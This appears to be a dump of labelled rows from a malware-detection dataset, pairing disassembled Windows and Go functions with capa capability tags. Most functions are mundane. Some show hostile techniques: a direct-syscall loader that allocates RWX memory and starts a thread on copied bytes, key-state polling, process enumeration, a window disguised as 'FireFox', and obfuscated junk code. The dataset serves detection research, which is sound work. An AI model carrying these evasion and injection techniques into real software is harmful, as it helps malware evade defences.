joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4549a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x454a4f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [sym.runtime.callers.func1]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call sym.runtime.systemstack.abi0
xorps xmm15, xmm15
mov r14, qword [0x005cbde8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp sym.runtime.callers

Function at 0x45e280
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x005cbbcb], 0
je 0x45e28e
jmp sym.aeshashbody
jmp sym.runtime.memhashFallback

Function at 0x45e2a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x005cbbcb], 0
je 0x45e2b5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp sym.aeshashbody
jmp sym.runtime.strhashFallback

Function at 0x45e2c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x005cbbcb], 0
je 0x45e2f5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005cc160]
aesenc xmm0, xmmword [0x005cc170]
aesenc xmm0, xmmword [0x005cc180]
movq rax, xmm0
ret
jmp sym.runtime.memhash32Fallback

Function at 0x45e300
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x005cbbcb], 0
je 0x45e336
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005cc160]
aesenc xmm0, xmmword [0x005cc170]
aesenc xmm0, xmmword [0x005cc180]
movq rax, xmm0
ret
jmp sym.runtime.memhash64Fallback

Function at 0x45fc00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rdx, 2
jmp sym.sigtramp

Function at 0x460000
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x460034
mov rcx, 0x28
jmp 0x46003f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005cbde8], rcx
pop rbp
ret
Function at 0x47ff20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47ffea
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x005cbde8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47ffcf
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004b2a60]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x47ffbe
mov edi, 1
lea rsi, [0x004b2a60]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004ee568]
lea rsi, [0x004edd58]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString
Function at 0x140004710
Capabilities:
Encode data using xor

Disassembly:
mov al, byte [rsp + 0x1b]
or al, 0x71
mov byte [rsp + 0x19b], al
jmp 0x1400034d5
mov rax, qword [rsp + 0x180]
xor rax, 0x5dde8c2b
mov rcx, qword [rsp + 0x158]
mov dl, byte [rsp + 0x1b]
and dl, dl
mov byte [rsp + 0x19b], dl
cmp rax, rcx
jbe 0x140003ee9
jmp 0x1400032ae
mov eax, 0x54da62f0
sub eax, dword [rsp + 0x178]
mov dword [rsp + 0x19c], 0xdc6595de
mov cl, byte [rsp + 0x1b]
or cl, 0x96
mov edx, dword [rsp + 0x178]
add edx, 0xab259d11
mov byte [rsp + 0x19b], cl
mov cl, byte [rsp + 0x1b]
add cl, 0x6f
mov r8d, dword [rsp + 0x68]
mov byte [rsp + 0x19b], cl
mov r9w, word [rsp + 0xe]
add r9w, 0x59e5
and r8d, eax
mov word [rsp + 0x198], r9w
cmp r8d, edx
jne 0x140002f95
jmp 0x140002f26
mov ax, word [rsp + 0xe]
imul cx, ax, 0xd73b
mov word [rsp + 0x198], cx
jmp 0x140004c9f
mov eax, dword [rsp + 0x178]
add eax, 0xab259d0f
mov dword [rsp + 0xa4], eax
jmp fcn.140004e8e
mov dword [rsp + 0x19c], 0x5a60a8e5
mov eax, dword [rsp + 0x178]
xor eax, 0x54da62e6
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0x19c], 0x7bfe395d
jmp fcn.140004e8e
sbb dword [rcx], 0xffffffb9
push rax
mov dword [rsp + 0x19c], edx
cmp cl, al
ja 0x14000294b
jmp 0x14000487e
mov rax, qword [sym.imp.KERNEL32.dll_WaitCommEvent]
call rax
clc
rcl bh, 1
jae 0x1400034bd
push 0xffffffffde9bb84a
outsd dx, dword [rsi]
push 0x56
push rdx
push rsp
xchg ecx, eax
add byte [rax - 4], bl
invalid
mov eax, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x10]
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x10
mov qword [rsp + 0x188], rcx
xor eax, 0x54da62ee
mov rdx, qword [sym.imp.ADVAPI32.dll_RevertToSelf]
call rdx
clc
rcl bh, 1
jae 0x140003d3c
push 0xffffffffde9bb84a
outsd dx, dword [rsi]
push 0x56
push rdx
push rsp
xchg ecx, eax
add byte [rax - 4], bl
invalid
jmp 0x140003d3b
int 0x5a
loope 0x140004769
ror byte [rax + 0x6b2fae63], 0xa0
frndint
cmpsb byte [rsi], byte [rdi]
invalid
add byte [rbp + 0x21], al
rol dword [rcx + 0x39], 0xd1
jne 0x140001e27
jmp 0x140001753
mov eax, dword [rsp + 8]
xor eax, 0x4a928c45
mov dword [rsp + 0x19c], eax
mov rcx, qword [rsp + 0x10]
or rcx, rcx
adc byte [rax + 9], cl
leave
mov eax, dword [rsp + 0x178]
mov qword [rsp + 0x188], rcx
add eax, 0xab259d11
lea rcx, [0x140080336]
call rcx
clc
rcl bh, 1
jae 0x140004892
push 0xffffffffde9bb84a
outsd dx, dword [rsi]
push 0x56
push rdx
push rsp
xchg ecx, eax
add byte [rax - 4], bl
invalid
mov dword [rsp + 0x19c], 0x6416122e
mov rax, qword [sym.imp.USER32.dll_CharPrevA]
add eax, 0x7c52f
Function at 0x140009294
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0x1e8]
mov r10, r8
movsxd r9, dword [rcx + 0x1e0]
mov r11, rdx
mov rcx, r11
mov r8d, dword [rax + r9*4 - 4]
mov eax, r10d
sub eax, edx
neg r10
sbb edx, edx
and edx, eax
jmp fcn.140009cdc

Function at 0x14000996c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, r9d
mov rsi, r8
test r8, r8
je 0x140009993
and qword [r8], 0
call fcn.140009aa8
mov rbx, rax
test rax, rax
je 0x140009a8c
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009a83
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140009a83
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009a83
mov rax, qword [0x140071368]
mov rbp, rdi
test rax, rax
je 0x1400099fb
inc dword [rax + 0x3c8]
mov rdx, qword [0x140071378]
lea rcx, [r15 + rdi]
call qword [0x140059050]
mov rdi, rax
test rax, rax
je 0x140009a83
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rbp
je 0x140009a5a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140071368]
test rax, rax
je 0x140009a48
dec dword [rax + 0x3c8]
mov rdx, qword [0x140071378]
mov rcx, rdi
call qword [0x140059058]
jmp 0x140009a8c
test r15d, r15d
jle 0x140009a6d
lea rcx, [rdi + rbp]
mov r8, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140009a7e
mov qword [rsi], rbp
mov rax, rdi
jmp 0x140009a8e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x140009cdc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
cmp dword [0x140071394], 0
lea rsi, [0x140071390]
mov ebx, r8d
mov edi, edx
mov r10, rcx
jne 0x140009d43
xor r9d, r9d
mov r11, rsi
mov r8d, r9d
mov edx, 8
mov ecx, r8d
mov eax, r8d
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov r8d, ecx
xor r8d, eax
sub rdx, 1
jne 0x140009d11
mov dword [r11], r8d
inc r9d
add r11, 4
cmp r9d, 0x100
jb 0x140009d09
not ebx
mov edx, ebx
test edi, edi
jle 0x140009d65
movzx eax, byte [r10]
inc r10
movzx ecx, dl
xor rcx, rax
shr edx, 8
xor edx, dword [rsi + rcx*4]
sub edi, 1
jne 0x140009d4b
jmp 0x140009d9f
mov r8b, byte [r10]
inc r10
test r8b, r8b
je 0x140009d9f
mov r9b, 0x23
cmp r8b, r9b
jne 0x140009d84
cmp byte [r10], r9b
jne 0x140009d84
cmp byte [r10 + 1], r9b
cmove edx, ebx
movzx ecx, dl
movzx eax, r8b
mov r8b, byte [r10]
xor rcx, rax
shr edx, 8
inc r10
xor edx, dword [rsi + rcx*4]
test r8b, r8b
jne 0x140009d73
mov rbx, qword [rsp + 8]
not edx
mov rsi, qword [rsp + 0x10]
mov eax, edx
mov rdi, qword [rsp + 0x18]
ret
Function at 0x14000fbe4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140071368]
mov rbx, rcx
and dword [rax + 0x2d9c], 0
test rcx, rcx
je 0x14000fc4d
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14000fc58
lea rdx, [0x14004bb04]
mov rcx, rbx
mov rdi, rax
call fcn.140009aa8
mov rbx, rax
test rax, rax
je 0x14000fc4d
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400204a4
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140070f80]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.1400092f4
mov rcx, qword [0x1400717e8]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x1400717f0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1400717f8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x1400717f0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.1400092f4
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x1400205cd
cvttss2si ecx, dword [rbx]
lea rdx, [rbp - 0x30]
cvttss2si eax, dword [rax + 0x114]
mov dword [rbp - 0x30], ecx
mov rcx, qword [0x1400717e8]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x1400717e8]
jne 0x140020622
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140020622
mov rcx, qword [0x1400717e8]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x140020622
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x140020630
or eax, 0xffffffff
jmp 0x140020635
call fcn.140009330
cmp dword [0x140059188], eax
je 0x140020648
mov dword [0x140059188], eax
call fcn.140020670
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140048920
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x14003eea8
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [0x140070f80]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x90], 0
jl 0x14003ef01
cmp dword [rsp + 0x90], 0x7c
jge 0x14003ef01
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x90]
lea rcx, [0x14006fbb0]
call fcn.14003f078
lea rcx, [rsp + 0x50]
call fcn.140035858
nop
cmp qword [rsp + 0x30], 0
jne 0x14003ef27
lea rdx, [0x1400511f0]
lea rcx, [rsp + 0x50]
call fcn.140036990
jmp 0x14003ef36
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140036990
cmp dword [rsp + 0xa0], 1
jne 0x14003ef51
lea rdx, [0x140051200]
lea rcx, [rsp + 0x50]
call fcn.140036990
movss xmm2, dword [0x14004fd18]
movss xmm1, dword [0x140052504]
lea rcx, [rsp + 0x48]
call fcn.140035e20
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.14004242c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.140025810
movzx eax, al
test eax, eax
je 0x14003efc6
cmp dword [rsp + 0xa0], 0
jne 0x14003efc6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.1400364f0
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140048920
add rsp, 0x88
ret
Function at 0x14004352c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x170
mov rax, qword [0x140070f80]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400435c8
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1400435b5
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x1400435d5
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14004358d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140048920
add rsp, 0x170
pop rdi
ret
Function at 0x1400466a4
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x140047090
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140040b5c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x88], 0
lea rax, [0x140041014]
mov qword [rsp + 0x78], rax
lea rax, [0x140051350]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 3
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x140047148
lea rdx, str._n_n_FireFox
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400310a0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x60], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, str.FireFox_29.1.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140072298], rax
mov edx, 5
mov rcx, qword [0x140072298]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140051340]
mov rcx, qword [0x140072298]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x140072298]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140072298]
call qword [sym.imp.USER32.dll_UpdateWindow]
add rsp, 0xc0
pop rdi
ret
Function at 0x140049028
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140049072
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140049072
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140049072
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140049072
cmp dword [rcx + 0x84], 0xe
jbe 0x140049072
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140049074
xor al, al
add rsp, 0x28
ret
Function at 0x1400111cc
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a78
mov r10, rcx
mov eax, dword [0x14001d8c8]
syscall
ret

Function at 0x1400111e0
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ec0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011258
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x1400117a0
push rbp
push rsi
push rdi
sub rsp, 0x260
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x50
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x1400220a3]
call fcn.140011357
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0x1000
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x48], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x68]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001d8d0], eax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x88]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001d8cc], eax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0xa8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001d8c8], eax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0xc8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001d8b8], eax
lea rax, [rbp + 0xe4]
lea rcx, [0x140019e2c]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x28]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.1400113a2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x104]
mov qword [rsp + 0x20], rcx
mov r9d, 7
lea r8, [rbp + 0xe4]
mov rdx, qword [rbp + 8]
mov rcx, rax
call fcn.1400113a7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 8]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rbp + 0x128]
call fcn.1400111cc
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x128]
call fcn.140011389
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x140019d40]
call fcn.1400112f3
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.14001119a
lea rsp, [rbp + 0x200]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011262
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014210
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014230
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014243
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001426d
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014281
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014293
xor al, al
jmp 0x1400142b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142af
xor al, al
jmp 0x1400142b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011389
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a84
mov r10, rcx
mov eax, dword [0x14001d8b8]
syscall
ret

Function at 0x1400113a2
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a60
mov r10, rcx
mov eax, dword [0x14001d8d0]
syscall
ret

Function at 0x1400113a7
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a6c
mov r10, rcx
mov eax, dword [0x14001d8cc]
syscall
ret
Function at 0x100405ee0
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34
xor al, 0x34